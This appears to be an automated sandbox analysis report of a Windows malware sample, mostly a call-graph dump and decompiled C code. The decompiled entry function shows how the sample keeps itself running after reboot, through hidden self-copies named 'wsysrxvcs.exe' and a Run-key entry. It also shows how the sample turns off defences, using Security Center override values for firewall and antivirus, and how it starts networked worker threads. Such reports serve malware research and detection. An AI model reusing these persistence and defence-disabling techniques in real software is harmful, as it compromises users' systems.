ExitThread 5942 406529 5943 406532 5942->5943 5944 406541 34 API calls 5943->5944 5945 407376 5943->5945 5534 40d96f 5537 40d930 5534->5537 5535 40d99b memmove 5535->5537 5536 40d9ae 5537->5535 5537->5536 5538 40e2f0 GetTickCount WaitForSingleObject 5539 40e499 5538->5539 5540 40e31d WSAWaitForMultipleEvents 5538->5540 5541 40e3c0 GetTickCount 5540->5541 5542 40e33a WSAEnumNetworkEvents 5540->5542 5543 40e413 GetTickCount 5541->5543 5544 40e3d5 EnterCriticalSection 5541->5544 5542->5541 5557 40e353 5542->5557 5545 40e485 WaitForSingleObject 5543->5545 5546 40e41e EnterCriticalSection 5543->5546 5547 40e3e6 5544->5547 5548 40e40a LeaveCriticalSection 5544->5548 5545->5539 5545->5540 5550 40e471 LeaveCriticalSection GetTickCount 5546->5550 5551 40e42f InterlockedExchangeAdd 5546->5551 5554 40e3f9 LeaveCriticalSection 5547->5554 5588 40e1f0 5547->5588 5548->5545 5549 40e362 accept 5549->5541 5549->5557 5550->5545 5598 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5551->5598 5554->5545 5556 40e442 5556->5550 5556->5551 5599 4094f0 shutdown closesocket 5556->5599 5557->5541 5557->5549 5560 40de80 5557->5560 5580 40e6c0 5557->5580 5561 40de92 EnterCriticalSection 5560->5561 5562 40de8d 5560->5562 5563 40debd LeaveCriticalSection 5561->5563 5564 40dea7 5561->5564 5562->5557 5565 40dec8 5563->5565 5566 40decf 5563->5566 5564->5563 5565->5557 5567 4089f0 7 API calls 5566->5567 5568 40ded9 5567->5568 5569 40dee6 getpeername CreateIoCompletionPort 5568->5569 5570 40df78 5568->5570 5572 40df72 5569->5572 5573 40df26 5569->5573 5602 4094f0 shutdown closesocket 5570->5602 5574 408b60 _invalid_parameter 3 API calls 5572->5574 5600 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5573->5600 5574->5570 5575 40df83 5575->5557 5577 40df2b InterlockedExchange InitializeCriticalSection InterlockedIncrement 5601 40dda0 EnterCriticalSection LeaveCriticalSection 5577->5601 5579 40df6b 5579->5557 5581 40e6d0 InterlockedExchangeAdd 5580->5581 5582 40e6cc 5580->5582 5583 40e723 5581->5583 5584 40e6e7 InterlockedIncrement 5581->5584 5582->5541 5583->5541 5603 40e620 WSARecv 5584->5603 5586 40e716 5586->5583 5587 40e71c InterlockedDecrement 5586->5587 5587->5583 5589 40e200 5588->5589 5596 40e2d1 5588->5596 5590 40e20d InterlockedExchangeAdd 5589->5590 5589->5596 5590->5596 5597 40e224 5590->5597 5591 40e250 5592 40e261 5591->5592 5618 4094f0 shutdown closesocket 5591->5618 5595 40e277 InterlockedDecrement 5592->5595 5592->5596 5595->5596 5596->5548 5597->5591 5597->5596 5609 40e170 EnterCriticalSection 5597->5609 5598->5556 5599->5556 5600->5577 5601->5579 5602->5575 5604 40e6a2 5603->5604 5605 40e65e 5603->5605 5604->5586 5606 40e660 WSAGetLastError 5605->5606 5607 40e674 Sleep WSARecv 5605->5607 5608 40e6ab 5605->5608 5606->5604 5606->5605 5607->5604 5607->5606 5608->5586 5610 40e1d7 LeaveCriticalSection 5609->5610 5611 40e18a InterlockedExchangeAdd 5609->5611 5610->5597 5612 40e19a LeaveCriticalSection 5611->5612 5613 40e1a9 5611->5613 5612->5597 5614 408b60 _invalid_parameter 3 API calls 5613->5614 5615 40e1ce 5614->5615 5616 408b60 _invalid_parameter 3 API calls 5615->5616 5617 40e1d4 5616->5617 5617->5610 5618->5592 5619 4047f0 5621 40478b 5619->5621 5620 408b60 _invalid_parameter 3 API calls 5622 4047fb LeaveCriticalSection 5620->5622 5621->5620 5960 40bdb0 5961 40a100 118 API calls 5960->5961 5962 40bde8 5961->5962 5963 40c631 5965 40c63a 5963->5965 5964 40c72d 5965->5964 5966 40c6a3 lstrcmpiW 5965->5966 5967 40c723 SysFreeString 5966->5967 5968 40c6b6 5966->5968 5967->5964 5969 40c0f0 2 API calls 5968->5969 5971 40c6c4 5969->5971 5970 40c715 5970->5967 5971->5967 5971->5970 5972 40c6f3 lstrcmpiW 5971->5972 5973 40c705 5972->5973 5974 40c70b SysFreeString 5972->5974 5973->5974 5974->5970 5975 404a3c 5976 40493c 5975->5976 5979 408b60 _invalid_parameter 3 API calls 5976->5979 5995 404a33 5976->5995 5977 404450 15 API calls 5980 404a5c 5977->5980 5978 408b60 _invalid_parameter 3 API calls 5981 404a7d 5978->5981 5982 404992 5979->5982 5980->5978 5983 404a8c CreateFileW 5981->5983 5984 404b1e LeaveCriticalSection 5981->5984 5985 408bd0 8 API calls 5982->5985 5983->5984 5986 404aaf 5983->5986 5987 4049a2 5985->5987 5990 404b0a FlushFileBuffers CloseHandle 5986->5990 5991 404acc WriteFile 5986->5991 5988 408b60 _invalid_parameter 3 API calls 5987->5988 5989 4049c9 5988->5989 5992 40aa70 7 API calls 5989->5992 5990->5984 5991->5986 5993 404a00 5992->5993 5994 405c00 10 API calls 5993->5994 5994->5995 5995->5977 5995->5980 5996 408c3e 5997 408b60 _invalid_parameter 3 API calls 5996->5997 6000 408bfd 5997->6000 5998 408c12 5999 408a10 __aligned_recalloc_base 7 API calls 5999->6000 6000->5998 6000->5999 6001 408c14 memcpy 6000->6001 6001->6000

                                                                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 0040CFE0 Relevance: 1.5, APIs: 1, Instructions: 45COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 69 40cfe0-40d003 GetLocaleInfoA 70 40d006-40d013 69->70 71 40d043-40d048 70->71 72 40d015-40d019 70->72 75 40d04b-40d055 71->75 73 40d03a-40d041 72->73 74 40d01b-40d02a 72->74 73->75 74->71 76 40d02c-40d038 74->76 77 40d057-40d059 75->77 78 40d05b 75->78 76->70 76->73 79 40d05d-40d060 77->79 78->79
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E0040CFE0() {
				char _v16;
				intOrPtr* _v20;
				intOrPtr* _v24;
				char _v25;
				char _v26;
				intOrPtr _v32;
				intOrPtr _v36;
				char _t26;
				char _t30;
				intOrPtr* _t34;

				GetLocaleInfoA(0x400, 7,  &_v16, 0xa); // executed
				_v20 = 0x410350;
				_v24 =  &_v16;
				while(1) {
					_t34 = _v24;
					_t26 =  *_t34;
					_v25 = _t26;
					if(_t26 !=  *_v20) {
						break;
					}
					if(_v25 == 0) {
						L5:
						_v32 = 0;
						L7:
						_v36 = _v32;
						if(_v36 != 0) {
							return 0;
						}
						return 1;
					}
					_t34 = _v24;
					_t30 =  *((intOrPtr*)(_t34 + 1));
					_v26 = _t30;
					_t13 = _v20 + 1; // 0x6f00524b
					if(_t30 !=  *_t13) {
						break;
					}
					_v24 = _v24 + 2;
					_v20 = _v20 + 2;
					if(_v26 != 0) {
						continue;
					}
					goto L5;
				}
				asm("sbb edx, edx");
				asm("sbb edx, 0xffffffff");
				_v32 = _t34;
				goto L7;
			}













                                                                                                                                                                                                                                                                                                                                                      0x0040cff3
                                                                                                                                                                                                                                                                                                                                                      0x0040cff9
                                                                                                                                                                                                                                                                                                                                                      0x0040d003
                                                                                                                                                                                                                                                                                                                                                      0x0040d006
                                                                                                                                                                                                                                                                                                                                                      0x0040d006
                                                                                                                                                                                                                                                                                                                                                      0x0040d009
                                                                                                                                                                                                                                                                                                                                                      0x0040d00b
                                                                                                                                                                                                                                                                                                                                                      0x0040d013
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d019
                                                                                                                                                                                                                                                                                                                                                      0x0040d03a
                                                                                                                                                                                                                                                                                                                                                      0x0040d03a
                                                                                                                                                                                                                                                                                                                                                      0x0040d04b
                                                                                                                                                                                                                                                                                                                                                      0x0040d04e
                                                                                                                                                                                                                                                                                                                                                      0x0040d055
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d05b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d057
                                                                                                                                                                                                                                                                                                                                                      0x0040d01b
                                                                                                                                                                                                                                                                                                                                                      0x0040d01e
                                                                                                                                                                                                                                                                                                                                                      0x0040d021
                                                                                                                                                                                                                                                                                                                                                      0x0040d027
                                                                                                                                                                                                                                                                                                                                                      0x0040d02a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d02c
                                                                                                                                                                                                                                                                                                                                                      0x0040d030
                                                                                                                                                                                                                                                                                                                                                      0x0040d038
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d038
                                                                                                                                                                                                                                                                                                                                                      0x0040d043
                                                                                                                                                                                                                                                                                                                                                      0x0040d045
                                                                                                                                                                                                                                                                                                                                                      0x0040d048
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetLocaleInfoA.KERNELBASE(00000400,00000007,?,0000000A,?,?,?,?,?,?,?,00405ED8), ref: 0040CFF3
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: InfoLocale
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2299586839-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c62a3b7037adb5ea6ac0ae53723f9c1f28c53d9160ce4716233a5d7ff61f8048
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: dad8f684fc57f3205c0281af4698833497a8a0d7fb6bc2f77a8b4672ee3ebf63
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c62a3b7037adb5ea6ac0ae53723f9c1f28c53d9160ce4716233a5d7ff61f8048
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 81113A74D082498FDB11CFE4C404BFFBBB2AB56308F04429AD864362C1C3795A4ACBA5
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405D80 Relevance: 147.5, APIs: 56, Strings: 28, Instructions: 469sleepfilesynchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 0 405d80-405db4 Sleep CreateMutexA GetLastError 1 405db6-405db8 ExitProcess 0->1 2 405dbe-405e43 GetModuleFileNameW PathFindFileNameW wsprintfW DeleteFileW ExpandEnvironmentStringsW 0->2 3 405e49-405e62 2->3 4 405e64-405e6c 3->4 5 405eaf-405eb4 3->5 7 405ea3-405ead 4->7 8 405e6e-405e89 4->8 6 405eba-405ecd 5->6 10 405ed3-405ede call 40cfe0 6->10 11 406136-406161 Sleep RegOpenKeyExA 6->11 7->6 8->5 9 405e8b-405ea1 8->9 9->3 9->7 18 405ee0-405ee2 ExitProcess 10->18 19 405ee8-405f36 ExpandEnvironmentStringsW wsprintfW CopyFileW 10->19 13 406167-406247 RegSetValueExA * 7 RegCloseKey 11->13 14 40624d-40626d RegOpenKeyExA 11->14 13->14 16 406273-406353 RegSetValueExA * 7 RegCloseKey 14->16 17 406359-40636e Sleep call 40b0b0 14->17 16->17 24 4064c3-4064cc 17->24 25 406374-4064c0 WSAStartup wsprintfW * 2 CreateThread Sleep CreateThread Sleep CreateThread Sleep call 404560 call 40cf10 call 405b10 CreateEventA call 40a7e0 call 40b9e0 call 409c30 call 40ba90 * 4 17->25 22 406015-406057 Sleep wsprintfW CopyFileW 19->22 23 405f3c-405f6b SetFileAttributesW RegOpenKeyExW 19->23 22->11 26 40605d-40608c SetFileAttributesW RegOpenKeyExW 22->26 27 405f71-405f86 23->27 28 405ff6-40600b call 40d280 23->28 25->24 30 406092-4060a7 26->30 31 406117-40612c call 40d280 26->31 33 405f8c-405fab 27->33 28->22 41 40600d-40600f ExitProcess 28->41 36 4060ad-4060cc 30->36 31->11 46 40612e-406130 ExitProcess 31->46 33->33 39 405fad-405ff0 RegSetValueExW RegCloseKey 33->39 36->36 43 4060ce-406111 RegSetValueExW RegCloseKey 36->43 39->28 43->31
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 96%
                                                                                                                                                                                                                                                                                                                                                      			_entry_() {
				short _v524;
				char _v528;
				int _v532;
				char _v1052;
				void* _v1056;
				char _v1580;
				short _v2100;
				short _v2620;
				void* _v2624;
				char _v3028;
				intOrPtr* _v3032;
				int _v3036;
				short _v3038;
				short _v3040;
				int _v3044;
				int _v3048;
				intOrPtr* _v3052;
				intOrPtr _v3056;
				short _v3058;
				signed int _v3064;
				intOrPtr* _v3068;
				intOrPtr _v3072;
				short _v3074;
				signed int _v3080;
				void* _t114;
				signed char _t174;
				int _t179;
				signed char _t185;
				long _t194;
				signed char _t195;
				int _t204;
				short _t234;
				short _t264;
				void* _t265;
				void* _t266;
				void* _t273;

				Sleep(0x7d0); // executed
				_t114 = CreateMutexA(0, 0, "9998883922"); // executed
				_v2624 = _t114;
				if(GetLastError() != 0xb7) {
					_v1056 = 0;
					_v528 = 1;
					GetModuleFileNameW(0, 0x415290, 0x105);
					_v532 = PathFindFileNameW(0x415290);
					wsprintfW( &_v524, L"%s:Zone.Identifier", 0x415290);
					_t266 = _t265 + 0xc;
					DeleteFileW( &_v524); // executed
					ExpandEnvironmentStringsW(L"%userprofile%",  &_v2620, 0x104);
					_v3032 = L"wsysrxvcs.exe";
					_v3036 = _v532;
					while(1) {
						_t204 = _v3036;
						_t234 =  *_t204;
						_v3038 = _t234;
						if(_t234 !=  *_v3032) {
							break;
						}
						if(_v3038 == 0) {
							L7:
							_v3044 = 0;
							L9:
							_v3048 = _v3044;
							if(_v3048 == 0) {
								L26:
								Sleep(0x1f4);
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center", 0, 0x20006,  &_v1056) == 0) {
									RegSetValueExA(_v1056, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1056);
								}
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center\\Svc", 0, 0x20006,  &_v1056) == 0) {
									RegSetValueExA(_v1056, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1056, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1056);
								}
								Sleep(0x1f4);
								if((E0040B0B0() & 0x000000ff) != 0) {
									__imp__#115(0x202,  &_v3028);
									wsprintfW(0x4154a0, L"%s\\tbnds.dat",  &_v2620);
									wsprintfW(0x414e80, L"%s\\tbcmds.dat",  &_v2620);
									CreateThread(0, 0, E00404360, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E00405410, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E00405C60, 0, 0, 0);
									Sleep(0x2710);
									E00404560();
									E00405B10(E0040CF10(),  &_v2620);
									 *0x4156c4 = CreateEventA(0, 1, 0, 0);
									 *0x4156cc = E0040A7E0( &_v2620);
									 *0x4156c8 = E0040B9E0( &_v2620);
									E00409C30();
									E0040BA90( *0x4156c8, 0, E0040BEA0, 0, 0, 0);
									E0040BA90( *0x4156c8, 0, E0040BE00, 0, 0, 0);
									E0040BA90( *0x4156c8, 0, E0040B990, 0, 0, 0);
									E0040BA90( *0x4156c8, 0, E0040B790, 0, 0, 0);
								}
								return 0;
							}
							_t174 = E0040CFE0(); // executed
							if((_t174 & 0x000000ff) != 1) {
								ExpandEnvironmentStringsW(L"%windir%",  &_v2100, 0x104);
								wsprintfW( &_v1580, L"%s\\%s",  &_v2100, L"wsysrxvcs.exe");
								_t273 = _t266 + 0x10;
								_t179 = CopyFileW(0x415290,  &_v1580, 0); // executed
								if(_t179 == 0) {
									L19:
									Sleep(0x1f4);
									wsprintfW( &_v1052, L"%s\\%s",  &_v2620, L"wsysrxvcs.exe");
									_t266 = _t273 + 0x10;
									if(CopyFileW(0x415290,  &_v1052, 0) == 0) {
										goto L26;
									}
									SetFileAttributesW( &_v1052, 3);
									if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1056) != 0) {
										L24:
										_t185 = E0040D280( &_v1052);
										_t266 = _t266 + 4;
										if((_t185 & 0x000000ff) != 1) {
											goto L26;
										}
										ExitProcess(0);
									}
									_v3068 =  &_v1052;
									_v3072 = _v3068 + 2;
									do {
										_v3074 =  *_v3068;
										_v3068 = _v3068 + 2;
									} while (_v3074 != 0);
									_v3080 = _v3068 - _v3072 >> 1;
									RegSetValueExW(_v1056, L"Windows Settings", 0, 1,  &_v1052, _v3080 + _v3080 + 2);
									RegCloseKey(_v1056);
									goto L24;
								}
								SetFileAttributesW( &_v1580, 3); // executed
								_t194 = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1056); // executed
								if(_t194 != 0) {
									L17:
									_t195 = E0040D280( &_v1580); // executed
									_t273 = _t273 + 4;
									if((_t195 & 0x000000ff) != 1) {
										goto L19;
									}
									ExitProcess(0); // executed
								}
								_v3052 =  &_v1580;
								_v3056 = _v3052 + 2;
								do {
									_v3058 =  *_v3052;
									_v3052 = _v3052 + 2;
								} while (_v3058 != 0);
								_v3064 = _v3052 - _v3056 >> 1;
								RegSetValueExW(_v1056, L"Windows Settings", 0, 1,  &_v1580, _v3064 + _v3064 + 2); // executed
								RegCloseKey(_v1056);
								goto L17;
							}
							ExitProcess(0);
						}
						_t204 = _v3036;
						_t264 =  *((intOrPtr*)(_t204 + 2));
						_v3040 = _t264;
						_t19 = _v3032 + 2; // 0x790073
						if(_t264 !=  *_t19) {
							break;
						}
						_v3036 = _v3036 + 4;
						_v3032 = _v3032 + 4;
						if(_v3040 != 0) {
							continue;
						}
						goto L7;
					}
					asm("sbb ecx, ecx");
					asm("sbb ecx, 0xffffffff");
					_v3044 = _t204;
					goto L9;
				}
				ExitProcess(0);
			}







































                                                                                                                                                                                                                                                                                                                                                      0x00405d8e
                                                                                                                                                                                                                                                                                                                                                      0x00405d9d
                                                                                                                                                                                                                                                                                                                                                      0x00405da3
                                                                                                                                                                                                                                                                                                                                                      0x00405db4
                                                                                                                                                                                                                                                                                                                                                      0x00405dbe
                                                                                                                                                                                                                                                                                                                                                      0x00405dc8
                                                                                                                                                                                                                                                                                                                                                      0x00405dde
                                                                                                                                                                                                                                                                                                                                                      0x00405def
                                                                                                                                                                                                                                                                                                                                                      0x00405e06
                                                                                                                                                                                                                                                                                                                                                      0x00405e0c
                                                                                                                                                                                                                                                                                                                                                      0x00405e16
                                                                                                                                                                                                                                                                                                                                                      0x00405e2d
                                                                                                                                                                                                                                                                                                                                                      0x00405e33
                                                                                                                                                                                                                                                                                                                                                      0x00405e43
                                                                                                                                                                                                                                                                                                                                                      0x00405e49
                                                                                                                                                                                                                                                                                                                                                      0x00405e49
                                                                                                                                                                                                                                                                                                                                                      0x00405e4f
                                                                                                                                                                                                                                                                                                                                                      0x00405e52
                                                                                                                                                                                                                                                                                                                                                      0x00405e62
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405e6c
                                                                                                                                                                                                                                                                                                                                                      0x00405ea3
                                                                                                                                                                                                                                                                                                                                                      0x00405ea3
                                                                                                                                                                                                                                                                                                                                                      0x00405eba
                                                                                                                                                                                                                                                                                                                                                      0x00405ec0
                                                                                                                                                                                                                                                                                                                                                      0x00405ecd
                                                                                                                                                                                                                                                                                                                                                      0x00406136
                                                                                                                                                                                                                                                                                                                                                      0x0040613b
                                                                                                                                                                                                                                                                                                                                                      0x00406161
                                                                                                                                                                                                                                                                                                                                                      0x00406180
                                                                                                                                                                                                                                                                                                                                                      0x0040619f
                                                                                                                                                                                                                                                                                                                                                      0x004061be
                                                                                                                                                                                                                                                                                                                                                      0x004061dd
                                                                                                                                                                                                                                                                                                                                                      0x004061fc
                                                                                                                                                                                                                                                                                                                                                      0x0040621b
                                                                                                                                                                                                                                                                                                                                                      0x0040623a
                                                                                                                                                                                                                                                                                                                                                      0x00406247
                                                                                                                                                                                                                                                                                                                                                      0x00406247
                                                                                                                                                                                                                                                                                                                                                      0x0040626d
                                                                                                                                                                                                                                                                                                                                                      0x0040628c
                                                                                                                                                                                                                                                                                                                                                      0x004062ab
                                                                                                                                                                                                                                                                                                                                                      0x004062ca
                                                                                                                                                                                                                                                                                                                                                      0x004062e9
                                                                                                                                                                                                                                                                                                                                                      0x00406308
                                                                                                                                                                                                                                                                                                                                                      0x00406327
                                                                                                                                                                                                                                                                                                                                                      0x00406346
                                                                                                                                                                                                                                                                                                                                                      0x00406353
                                                                                                                                                                                                                                                                                                                                                      0x00406353
                                                                                                                                                                                                                                                                                                                                                      0x0040635e
                                                                                                                                                                                                                                                                                                                                                      0x0040636e
                                                                                                                                                                                                                                                                                                                                                      0x00406380
                                                                                                                                                                                                                                                                                                                                                      0x00406397
                                                                                                                                                                                                                                                                                                                                                      0x004063b1
                                                                                                                                                                                                                                                                                                                                                      0x004063c9
                                                                                                                                                                                                                                                                                                                                                      0x004063d4
                                                                                                                                                                                                                                                                                                                                                      0x004063e9
                                                                                                                                                                                                                                                                                                                                                      0x004063f4
                                                                                                                                                                                                                                                                                                                                                      0x00406409
                                                                                                                                                                                                                                                                                                                                                      0x00406414
                                                                                                                                                                                                                                                                                                                                                      0x0040641a
                                                                                                                                                                                                                                                                                                                                                      0x00406424
                                                                                                                                                                                                                                                                                                                                                      0x00406437
                                                                                                                                                                                                                                                                                                                                                      0x00406441
                                                                                                                                                                                                                                                                                                                                                      0x0040644b
                                                                                                                                                                                                                                                                                                                                                      0x00406450
                                                                                                                                                                                                                                                                                                                                                      0x00406468
                                                                                                                                                                                                                                                                                                                                                      0x00406484
                                                                                                                                                                                                                                                                                                                                                      0x004064a0
                                                                                                                                                                                                                                                                                                                                                      0x004064bb
                                                                                                                                                                                                                                                                                                                                                      0x004064c0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004064c7
                                                                                                                                                                                                                                                                                                                                                      0x00405ed3
                                                                                                                                                                                                                                                                                                                                                      0x00405ede
                                                                                                                                                                                                                                                                                                                                                      0x00405ef9
                                                                                                                                                                                                                                                                                                                                                      0x00405f17
                                                                                                                                                                                                                                                                                                                                                      0x00405f1d
                                                                                                                                                                                                                                                                                                                                                      0x00405f2e
                                                                                                                                                                                                                                                                                                                                                      0x00405f36
                                                                                                                                                                                                                                                                                                                                                      0x00406015
                                                                                                                                                                                                                                                                                                                                                      0x0040601a
                                                                                                                                                                                                                                                                                                                                                      0x00406038
                                                                                                                                                                                                                                                                                                                                                      0x0040603e
                                                                                                                                                                                                                                                                                                                                                      0x00406057
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00406066
                                                                                                                                                                                                                                                                                                                                                      0x0040608c
                                                                                                                                                                                                                                                                                                                                                      0x00406117
                                                                                                                                                                                                                                                                                                                                                      0x0040611e
                                                                                                                                                                                                                                                                                                                                                      0x00406123
                                                                                                                                                                                                                                                                                                                                                      0x0040612c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00406130
                                                                                                                                                                                                                                                                                                                                                      0x00406130
                                                                                                                                                                                                                                                                                                                                                      0x00406098
                                                                                                                                                                                                                                                                                                                                                      0x004060a7
                                                                                                                                                                                                                                                                                                                                                      0x004060ad
                                                                                                                                                                                                                                                                                                                                                      0x004060b6
                                                                                                                                                                                                                                                                                                                                                      0x004060bd
                                                                                                                                                                                                                                                                                                                                                      0x004060c4
                                                                                                                                                                                                                                                                                                                                                      0x004060dc
                                                                                                                                                                                                                                                                                                                                                      0x00406104
                                                                                                                                                                                                                                                                                                                                                      0x00406111
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00406111
                                                                                                                                                                                                                                                                                                                                                      0x00405f45
                                                                                                                                                                                                                                                                                                                                                      0x00405f63
                                                                                                                                                                                                                                                                                                                                                      0x00405f6b
                                                                                                                                                                                                                                                                                                                                                      0x00405ff6
                                                                                                                                                                                                                                                                                                                                                      0x00405ffd
                                                                                                                                                                                                                                                                                                                                                      0x00406002
                                                                                                                                                                                                                                                                                                                                                      0x0040600b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040600f
                                                                                                                                                                                                                                                                                                                                                      0x0040600f
                                                                                                                                                                                                                                                                                                                                                      0x00405f77
                                                                                                                                                                                                                                                                                                                                                      0x00405f86
                                                                                                                                                                                                                                                                                                                                                      0x00405f8c
                                                                                                                                                                                                                                                                                                                                                      0x00405f95
                                                                                                                                                                                                                                                                                                                                                      0x00405f9c
                                                                                                                                                                                                                                                                                                                                                      0x00405fa3
                                                                                                                                                                                                                                                                                                                                                      0x00405fbb
                                                                                                                                                                                                                                                                                                                                                      0x00405fe3
                                                                                                                                                                                                                                                                                                                                                      0x00405ff0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405ff0
                                                                                                                                                                                                                                                                                                                                                      0x00405ee2
                                                                                                                                                                                                                                                                                                                                                      0x00405ee2
                                                                                                                                                                                                                                                                                                                                                      0x00405e6e
                                                                                                                                                                                                                                                                                                                                                      0x00405e74
                                                                                                                                                                                                                                                                                                                                                      0x00405e78
                                                                                                                                                                                                                                                                                                                                                      0x00405e85
                                                                                                                                                                                                                                                                                                                                                      0x00405e89
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405e8b
                                                                                                                                                                                                                                                                                                                                                      0x00405e92
                                                                                                                                                                                                                                                                                                                                                      0x00405ea1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405ea1
                                                                                                                                                                                                                                                                                                                                                      0x00405eaf
                                                                                                                                                                                                                                                                                                                                                      0x00405eb1
                                                                                                                                                                                                                                                                                                                                                      0x00405eb4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405eb4
                                                                                                                                                                                                                                                                                                                                                      0x00405db8

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000007D0), ref: 00405D8E
                                                                                                                                                                                                                                                                                                                                                      • CreateMutexA.KERNELBASE(00000000,00000000,9998883922), ref: 00405D9D
                                                                                                                                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00405DA9
